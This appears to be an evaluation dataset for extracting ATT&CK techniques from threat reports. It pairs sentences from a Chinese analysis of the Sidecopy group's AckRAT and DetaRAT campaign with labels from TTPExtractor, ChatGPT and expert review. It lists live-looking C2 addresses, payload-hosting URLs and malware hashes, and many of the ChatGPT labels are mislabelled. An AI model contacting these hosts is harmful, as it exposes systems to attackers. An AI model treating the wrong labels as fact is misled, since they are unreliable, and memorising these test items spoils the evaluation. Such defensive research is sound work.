向 C2 发送三次'ack'后，接收 C2 返回的数据并写入文件但不执行	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
与指令'd'功能一致，区别在于向 C2 发送三次'ack'后，接收 C2 返回的数据写入文件并执行	[{'taid': 'TA0011', 'tactic': '命令与控制', 'tid': 'T1105', 'technique': '工具向内传输'}]	[]	1	[0]
删除指定文件或文件夹	[{'taid': 'TA0005', 'tactic': '防御逃逸', 'tid': 'T1070.004', 'technique': '删除文件痕迹'}]	[]	1	[0]
上传 C2 指定路径下的文件	[{'taid': 'TA0010', 'tactic': '数据渗漏', 'tid': 'T1041', 'technique': 'C2 通道上的数据渗漏'}]	[]	1	[0]
截屏并发送	[{'taid': 'TA0009', 'tactic': '采集', 'tid': 'T1113', 'technique': '截屏'}]	[]	1	[0]
其次 Sidecopy 保持从互联网上获取代码丰富自己 RAT 的风格，根据开源项目在新的 DetaRAT 中添加抓取浏览器密码的功能。	[{'taid': 'TA0006', 'tactic': '凭据访问', 'tid': 'T1555.003', 'technique': '从浏览器中获取凭证'}]	[]	1	[0]

ChatGPT Infer Result

text	tts	ttps_pred_count	ttps_accept_idx
2020 年 9 月，Quick Heal 披露了一起针对印度国防军和武装部队陆军人员的窃密行动并将其命名为 Operation Sidecopy。	[{'taid': 'TA0005', 'tactic': 'Collection', 'tid': 'T1213', 'technique': 'Data Obfuscation'}, {'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1040', 'technique': 'Network Sniffing'}, {'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1056', 'technique': 'Input Capture'}, {'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1074', 'technique': 'Data Staged'}]	4	[0, 1, 2, 3]

Sidecopy 主要以作为电子邮件附件的 **ZIP** 压缩包所包含 **LNK** 文件或 **DOC** 文件分发恶意软件。	[{'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique': 'Spearphishing Attachment'}, {'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	4	[0, 1, 2, 3]
Sidecopy 组织主要对印度国防军和武装部人员进行大量的攻击，对印度政府和军事人员的进行情报收集行动，使用鱼叉钓鱼技术在印度的国防组织和其他政府组织中引诱受害者，或通过感染 **USB** 设备来攻击印度和阿富汗的政府和军事组织。	[{'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1074', 'technique': 'Data Staged'}, {'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}, {'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	4	[0, 1, 2, 3]
在此攻击活动中，攻击者主要以沙特阿拉伯代表团访印为诱饵，将下载器伪装为快捷方式文件并通过钓鱼邮件发送给受害者。	[{'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0003', 'tactic': 'Execution', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0040', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}]	4	[0, 1, 2, 3]
在此攻击活动中，**Sidecopy** 的感染链与之前的攻击活动保持相对一致，使用恶意 **LNK** 文件作为入口点，然后是一个复杂的感染链，涉及多层文件嵌套以传递最终的有效负载。	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution: Shortcut Modification'}, {'taid': 'TA0003', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique':	4	[0, 1, 2, 3]

	'Obfuscated Files or Information'}, {'taid': 'TA0003', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution'}, {'taid': 'TA0010', 'tactic': 'Command and Control', 'tid': 'T1571', 'technique': 'Non-Standard Port'}]		
其最终载荷疑似 Sidecopy 组织新开发的木马，在与 C2 的通信过程中不断发送'ACK'字符，故此我们暂时将其命名为 AckRAT。	[{'taid': 'TA0043', 'tactic': 'Command and Control', 'tid': 'T1001', 'technique': 'Data Encoding'}, {'taid': 'TA0040', 'tactic': 'Lateral Movement', 'tid': 'T1570', 'technique': 'Lateral Tool Transfer'}, {'taid': 'TA0043', 'tactic': 'Command and Control', 'tid': 'T1571', 'technique': 'Non-Standard Port'}]	3	[0, 1, 2]
我们猜测初始攻击载荷应该是鱼叉攻击邮件，通过邮件中的附件诱骗受害者点击打开压缩包文件，并且点击其中的 lnk 文件。	[{'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
对诱饵 lnk 文件进行分析，其使用系统的 mshta.exe 访问挂载在印度 Ssynergy 公司官网下的后续载荷执行。	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1193', 'technique': 'Spearphishing Attachment'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1218', 'technique': 'Signed Binary Proxy Execution: Mshta'}, {'taid': 'TA0035', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}]	3	[0, 1, 2]
我们猜测 Sidecopy 组织通过漏洞将载荷上传至 Ssynergy 公司官网，通过正常网站地址来中继后续载荷，以此绕过部分安全软件的监控。	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1203', 'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0002', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}]	2	[0, 1]
delegation.hta 其主要功能是内存中加载 preBotHta.dll，并调用 preBotHta.dll 中的 PinkAgain 函数。	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'TA0002', 'tactic': 'Defense Evasion',	2	[0, 1]

	'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion'}]		
PinkAgain 函数首先解密 JS 代码中嵌套的数据，释放诱饵 PDF 文件以迷惑受害者。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
随后通过 JS 脚本传递的杀软信息来决定后续执行方式，但在当前版本中，不管是何种杀软都走同一个分支，解密传递的数据后释放并执行一个可执行文件。	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1082', 'technique': 'System Information Discovery'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution'}]	2	[0, 1]
释放的 Trex.exe 伪装成 Trex 公司软件。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading: Rename System Utilities'}]	1	[0]
首先收集当前受害者信息，包括电脑名、用户名、杀软信息、系统版本等。	[{'taid': 'TA0003', 'tactic': 'Discovery', 'tid': 'T1082', 'technique': 'System Information Discovery'}]	1	[0]
然后将收集到的信息发送至 C2：209.126.81.42，端口为 444，并解析 C2 返回的数据，当 C2 返回的数据大于 1 字节时，才会进入远控流程，否则一直循环，而实际调试过程中 C2 一直返回单字符'y'。	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	2	[0, 1]
非 no **b** **获取指定路径下的所有文件和文件夹的名称，并将它们发送到指定的网络接收端**	[{'taid': 'TA0002', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}]	1	[0]
no **d** **向 C2 发送三次'ack'后，接收 C2 返回的数据并写入文件但不执行**	[{'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Local System'}, {'taid': 'TA0002', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}]	2	[0, 1]
与指令'd'功能一致，区别在于向 C2 发送三次'ack'后，接收 C2 返回的数据写入文件并执行	[{'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data	4	[0, 1, 2, 3]

	from Local System'}, {'taid': 'TA0002', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter: PowerShell'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1106', 'technique': 'Execution through API'}]		
f **删除指定文件或文件夹**	[{'taid': 'TA0002', 'tactic': 'Impact', 'tid': 'T1485', 'technique': 'Data Destruction'}]	1	[0]
g **远程 shell**	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1043', 'technique': 'Commonly Used Port'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1021', 'technique': 'Remote Services'}]	2	[0, 1]
上传 C2 指定路径下的文件 **a**	[{'taid': 'TA0002', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over C2 Channel'}]	1	[0]
发送磁盘信息 **z** **结束进程、退出** **h** **截屏并发送** **i** **结束进程、退出**	[{'taid': 'TA0003', 'tactic': 'Discovery', 'tid': 'T1082', 'technique': 'System Information Discovery'}, {'taid': 'TA0002', 'tactic': 'Impact', 'tid': 'T1489', 'technique': 'System Shutdown/Reboot'}, {'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1113', 'technique': 'Screen Capture'}, {'taid': 'TA0002', 'tactic': 'Impact', 'tid': 'T1489', 'technique': 'System Shutdown/Reboot'}]	4	[0, 1, 2, 3]
其攻击流程与我在上个月披露的《Sidecopy 组织近期以印度国防部相关文档为诱饵的攻击活动分析》[2]一文中基本一致。	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[0]
并且其中 lnk 文件均从同一开发者环境中生成。	[{'taid': 'TA0003', 'tactic': 'Discovery',	1	[0]

	'tid': 'T1074', 'technique': 'Data Staged'}]		
据此还能狩猎到 3 月份 Sidecopy 攻击的所使用的 DetaRAT，C2 为 185.136.161.129，端口是 4987，并且其 C2 指令较老版本相比并未更改。	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Local System'}]	2	[0, 1]
其次 Sidecopy 保持从互联网上获取代码丰富自己 RAT 的风格，根据开源项目在新的 DetaRAT 中添加抓取浏览器密码的功能。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0003', 'tactic': 'Credential Access', 'tid': 'T1003', 'technique': 'Credential Dumping'}]	2	[0, 1]
此次 Sidecopy 组织的攻击是 3 月份攻击的延续，其攻击组件涉及了 AllaKoreRAT、ActionRAT、DetaRAT、C++木马等，攻击手法及武器代码方面较为单一，擅于使用网络上开源的代码及工具。	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[0]
早些时候我们还披露过其对 Linux，MacOS 等多平台的攻击[3]，奇安信威胁情报中心会对其进行长期的溯源和跟进，及时发现安全威胁并快速响应处置。	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[0]
APT 组织攻击一直以来对于国家和企业来说都是一个巨大的网络安全威胁，通常由某些人员精心策划，出于商业或政治动机，针对特定组织或国家，并且会在长时间的攻击活动中保持高度的隐蔽性，需时刻提防。	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[0]
奇安信威胁情报中心提醒广大用户，谨防钓鱼攻击，切勿打开社交媒体分享的来历不明的链接，不点击执行未知来源的邮件附件，不运行标题夸张的未知文件，不安装非正规途径来源的 APP。做到及时备份重要文件，更新安装补丁。	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0003', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0003', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution'}, {'taid': 'TA0003', 'tactic': 'Defense Evasion', 'tid': 'T1140', 'technique': 'Deobfuscate/Decode Files or Information'}, {'taid': 'TA0003', 'tactic': 'Installation', 'tid': 'T1406', 'technique': 'Install Third-party	7	[0, 1, 2, 3, 4, 5, 6]

	Software'}, {'taid': 'TA0003', 'tactic': 'Backup', 'tid': 'T1498', 'technique': 'Network Share Connection Removal'}, {'taid': 'TA0003', 'tactic': 'Patch', 'tid': 'T1053', 'technique': 'Scheduled Task/Job'}]		
若需运行，安装来历不明的应用，可先通过奇安信威胁情报文件深度分析平台（https://sandbox.ti.qianxin.com/sandbox/page）进行判别。目前已支持包括 Windows、安卓平台在内的多种格式文件深度分析。	[{'taid': 'TA0003', 'tactic': 'Defense Evasion', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（TIP）、天擎、天眼高级威胁检测系统、奇安信 NGSOC、奇安信态势感知等，都已经支持对此类攻击的精确检测。	[{'taid': 'TA0003', 'tactic': 'Detection', 'tid': 'T1064', 'technique': 'Scripting'}]	1	[0]
MD5 6D724445E65B6407F26A5B0251FDD1E4 D663E977C079D338D47E937F7AFCFBB4 2C65DC705BA503261654AA40484A19E9 42A152594AF53012A3559BD7CDF99056 AC92A32AEE15421AB9E953B1836A691B E62B5CC773A2240BBFA56B535076905F	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[0]
209.126.81.42:444 185.136.161.129:4987	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}]	1	[0]
https://ssynergy.in/wp-content/themes/twentytwentythree/assets/fonts/inter/delegation/ https://cornerstonebeverly.org/js/files/docufentososo/doecumentosoneso https://halterarks.co.uk/img/gallery/misc/files/html5-k/ https://halterarks.co.uk/img/gallery/misc/files/jquery-k/	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
[1] https://blog.talosintelligence.com/2021/07/Sidecopy.html [2] https://ti.qianxin.com/blog/articles/Analysis-of-Sidecopy-Group's-Recent-Attacks-Using-Indian-Ministry-of-Defense-Documents-as-Lures-CN/ [3] https://ti.qianxin.com/blog/articles/Sidecopy-dual-platform-weapon/	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[0]

Expert Review Result

text	tts	ttps_pred_count	ttps_accept_idx
2020 年 9 月，Quick Heal 披露了一起针对印度国防军和武装部队陆军人员的窃密行动并将其命名为 Operation Sidecopy。	[{'taid': 'TA0005', 'tactic': 'Collection', 'tid': 'T1213',	4	[]

	'technique': 'Data Obfuscation'}, {'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1040', 'technique': 'Network Sniffing'}, {'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1056', 'technique': 'Input Capture'}, {'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1074', 'technique': 'Data Staged'}]		
Sidecopy 主要以作为电子邮件附件的 ZIP 压缩包所包含 LNK 文件或 DOC 文件分发恶意软件。	[{'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1193', 'technique': 'Spearphishing Attachment'}, {'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	4	[0, 1, 2, 3]
Sidecopy 组织主要对印度国防军和武装部人员进行大量的攻击，对印度政府和军事人员的进行情报收集行动，使用鱼叉钓鱼技术在印度的国防组织和其他政府组织中引诱受害者，或通过感染 USB 设备来攻击印度和阿富汗的政府和军事组织。	[{'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0040', 'tactic': 'Collection', 'tid': 'T1074', 'technique': 'Data Staged'}, {'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}, {'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	4	[3]
在此攻击活动中，攻击者主要以沙特阿拉伯代表团访印为诱饵，将下载器伪装为快捷方式文件并通过钓鱼邮件发送给受害者。	[{'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0003', 'tactic': 'Execution', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0040', 'tactic': 'Command and	4	[0, 3]

	Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}]		
在此攻击活动中，**Sidecopy** 的感染链与之前的攻击活动保持相对一致，使用恶意 **LNK** 文件作为入口点，然后是一个复杂的感染链，涉及多层文件嵌套以传递最终的有效负载。	[{'taid': 'TA0003', 'tactic': 'Persistence', 'tid': 'T1547', 'technique': 'Boot or Logon Autostart Execution: Shortcut Modification'}, {'taid': 'TA0003', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0003', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution'}, {'taid': 'TA0010', 'tactic': 'Command and Control', 'tid': 'T1571', 'technique': 'Non-Standard Port'}]	4	[2]
其最终载荷疑似 **Sidecopy** 组织新开发的木马，在与 **C2** 的通信过程中不断发送**'ACK'**字符，故此我们暂时将其命名为 **AckRAT**。	[{'taid': 'TA0043', 'tactic': 'Command and Control', 'tid': 'T1001', 'technique': 'Data Encoding'}, {'taid': 'TA0040', 'tactic': 'Lateral Movement', 'tid': 'T1570', 'technique': 'Lateral Tool Transfer'}, {'taid': 'TA0043', 'tactic': 'Command and Control', 'tid': 'T1571', 'technique': 'Non-Standard Port'}]	3	[]
我们猜测初始攻击载荷应该是鱼叉攻击邮件，通过邮件中的附件诱骗受害者点击打开压缩包文件，并且点击其中的 **lnk** 文件。	[{'taid': 'TA0014', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
对诱饵 **lnk** 文件进行分析，其使用系统的 **mshta.exe** 访问挂载在印度 **Ssynergy** 公司官网下的后续载荷执行。	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1193', 'technique': 'Spearphishing Attachment'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1218', 'technique': 'Signed Binary Proxy Execution: Mshta'}, {'taid': 'TA0035', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}]	3	[1, 2]
我们猜测 **Sidecopy** 组织通过漏洞将载荷上传至 **Ssynergy** 公司官网，通过正常网站地址来中继后续载荷，以此绕过部分安全软件的监控。	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1203',	2	[]

	'technique': 'Exploitation for Client Execution'}, {'taid': 'TA0002', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}]		
delegation.hta 其主要功能是内存中加载 preBotHta.dll，并调用 preBotHta.dll 中的 PinkAgain 函数。	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1055', 'technique': 'Process Injection'}, {'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion'}]	2	[]
PinkAgain 函数首先解密 JS 代码中嵌套的数据，释放诱饵 PDF 文件以迷惑受害者。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[0]
随后通过 JS 脚本传递的杀软信息来决定后续执行方式，但在当前版本中，不管是何种杀软都走同一个分支，解密传递的数据后释放并执行一个可执行文件。	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1082', 'technique': 'System Information Discovery'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution'}]	2	[]
释放的 Trex.exe 伪装成 Trex 公司软件。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading: Rename System Utilities'}]	1	[]
首先收集当前受害者信息，包括电脑名、用户名、杀软信息、系统版本等。	[{'taid': 'TA0003', 'tactic': 'Discovery', 'tid': 'T1082', 'technique': 'System Information Discovery'}]	1	[0]
然后将收集到的信息发送至 C2：209.126.81.42，端口为 444，并解析 C2 返回的数据，当 C2 返回的数据大于 1 字节时，才会进入远控流程，否则一直循环，而实际调试过程中 C2 一直返回单字符'y'。	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	2	[]
非 no b 获取指定路径下的所有文件和文件夹的名称，并将它们发送到指定的网络接收端	[{'taid': 'TA0002', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}]	1	[]

no **d** **向 C2 发送三次'ack'后，接收 C2 返回的数据并写入文件但不执行**	[{'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Local System'}, {'taid': 'TA0002', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}]	2	[]
与指令'd'功能一致，区别在于向 C2 发送三次'ack'后，接收 C2 返回的数据写入文件并执行	[{'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Local System'}, {'taid': 'TA0002', 'tactic': 'Exfiltration', 'tid': 'T1048', 'technique': 'Exfiltration Over Alternative Protocol'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter: PowerShell'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1106', 'technique': 'Execution through API'}]	4	[]
f **删除指定文件或文件夹**	[{'taid': 'TA0002', 'tactic': 'Impact', 'tid': 'T1485', 'technique': 'Data Destruction'}]	1	[]
g **远程 shell**	[{'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1043', 'technique': 'Commonly Used Port'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1021', 'technique': 'Remote Services'}]	2	[]
上传 C2 指定路径下的文件 **a**	[{'taid': 'TA0002', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique': 'Exfiltration Over C2 Channel'}]	1	[0]
发送磁盘信息 **z** **结束进程、退出** **h** **截屏并发送** **i**	[{'taid': 'TA0003', 'tactic': 'Discovery', 'tid': 'T1082', 'technique': 'System Information Discovery'}, {'taid': 'TA0002', 'tactic': 'Impact', 'tid': 'T1489', 'technique': 'System Shutdown/Reboot'}, {'taid': 'TA0002', 'tactic': 'Collection',	4	[0, 2]

结束进程、退出	'tid': 'T1113', 'technique': 'Screen Capture'}, {'taid': 'TA0002', 'tactic': 'Impact', 'tid': 'T1489', 'technique': 'System Shutdown/Reboot'}]		
其攻击流程与我在上个月披露的《Sidecopy 组织近期以印度国防部相关文档为诱饵的攻击活动分析》[2]一文中基本一致。	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[]
并且其中 lnk 文件均从同一开发者环境中生成。	[{'taid': 'TA0003', 'tactic': 'Discovery', 'tid': 'T1074', 'technique': 'Data Staged'}]	1	[]
据此还能狩猎到 3 月份 Sidecopy 攻击的所使用的 DetaRAT，C2 为 185.136.161.129，端口是 4987，并且其 C2 指令较老版本相比并未更改。	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}, {'taid': 'TA0003', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Local System'}]	2	[]
其次 Sidecopy 保持从互联网上获取代码丰富自己 RAT 的风格，根据开源项目在新的 DetaRAT 中添加抓取浏览器密码的功能。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0003', 'tactic': 'Credential Access', 'tid': 'T1003', 'technique': 'Credential Dumping'}]	2	[]
此次 Sidecopy 组织的攻击是 3 月份攻击的延续，其攻击组件涉及了 AllaKoreRAT、ActionRAT、DetaRAT、C++木马等，攻击手法及武器代码方面较为单一，擅于使用网络上开源的代码及工具。	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[]
早些时候我们还披露过其对 Linux，MacOS 等多平台的攻击[3]，奇安信威胁情报中心会对其进行长期的溯源和跟进，及时发现安全威胁并快速响应处置。	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[]
APT 组织攻击一直以来对于国家和企业来说都是一个巨大的网络安全威胁，通常由某些人员精心策划，出于商业或政治动机，针对特定组织或国家，并且会在长时间的攻击活动中保持高度的隐蔽性，需时刻提防。	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[]

奇安信威胁情报中心提醒广大用户，谨防钓鱼攻击，切勿打开社交媒体分享的来历不明的链接，不点击执行未知来源的邮件附件，不运行标题夸张的未知文件，不安装非正规途径来源的 **APP**。做到及时备份重要文件，更新安装补丁。	[{'taid': 'TA0005', 'tactic': 'Defense Evasion', 'tid': 'T1566', 'technique': 'Phishing'}, {'taid': 'TA0003', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0003', 'tactic': 'Execution', 'tid': 'T1204', 'technique': 'User Execution'}, {'taid': 'TA0003', 'tactic': 'Defense Evasion', 'tid': 'T1140', 'technique': 'Deobfuscate/Decode Files or Information'}, {'taid': 'TA0003', 'tactic': 'Installation', 'tid': 'T1406', 'technique': 'Install Third-party Software'}, {'taid': 'TA0003', 'tactic': 'Backup', 'tid': 'T1498', 'technique': 'Network Share Connection Removal'}, {'taid': 'TA0003', 'tactic': 'Patch', 'tid': 'T1053', 'technique': 'Scheduled Task/Job'}]	7	[0, 2]
若需运行，安装来历不明的应用，可先通过奇安信威胁情报文件深度分析平台（https://sandbox.ti.qianxin.com/sandbox/page）进行判别。目前已支持包括 **Windows**、安卓平台在内的多种格式文件深度分析。	[{'taid': 'TA0003', 'tactic': 'Defense Evasion', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[]
目前，基于奇安信威胁情报中心的威胁情报数据的全线产品，包括奇安信威胁情报平台（**TIP**）、天擎、天眼高级威胁检测系统、奇安信 **NGSOC**、奇安信态势感知等，都已经支持对此类攻击的精确检测。	[{'taid': 'TA0003', 'tactic': 'Detection', 'tid': 'T1064', 'technique': 'Scripting'}]	1	[]
MD5 **6D724445E65B6407F26A5B0251FDD1E4** **D663E977C079D338D47E937F7AFCFBB4** **2C65DC705BA503261654AA40484A19E9** **42A152594AF53012A3559BD7CDF99056** **AC92A32AEE15421AB9E953B1836A691B** **E62B5CC773A2240BBFA56B535076905F**	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[]
209.126.81.42:444 **185.136.161.129:4987**	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1071', 'technique': 'Application Layer Protocol'}]	1	[]

https://ssynergy.in/wp-content/themes/twentytwentythree/assets/fonts/inter/delegation/ https://cornerstonebeverly.org/js/files/docufentososo/doecumentosoneso https://halterarks.co.uk/img/gallery/misc/files/html5-k/ https://halterarks.co.uk/img/gallery/misc/files/jquery-k/	[{'taid': 'TA0002', 'tactic': 'Command and Control', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[]
[1] https://blog.talosintelligence.com/2021/07/Sidecopy.html [2] https://ti.qianxin.com/blog/articles/Analysis-of-Sidecopy-Group's-Recent-Attacks-Using-Indian-Ministry-of-Defense-Documents-as-Lures-CN/ [3] https://ti.qianxin.com/blog/articles/Sidecopy-dual-platform-weapon/	[{'taid': 'TA0000', 'tactic': 'Unknown', 'tid': 'T0000', 'technique': 'Unknown'}]	1	[]

Test Report 9 暗影重重：肚脑虫（Donot）组织近期攻击手法总结

URL: https://mp.weixin.qq.com/s?__biz=MzI2MDc2MDA4OA==&mid=2247505716&idx=1&sn=c351b71550874cae7bf11b5e5b67968f

TTPExtractor Infer Result

sent	ttps	entities	ttps_pred_count	ttps_accept_idx
Donot 常通过携带宏的文档执行 shellcode 下载后续 DLL 组件，进一步下载诸如木马插件管理器和木马插件的恶意 DLL。	[{'taid': 'TA0002', 'tactic': '执行', 'tid': 'T1059.005', 'technique': 'VB 宏'}]	[['malware', 'Donot']]	1	[0]
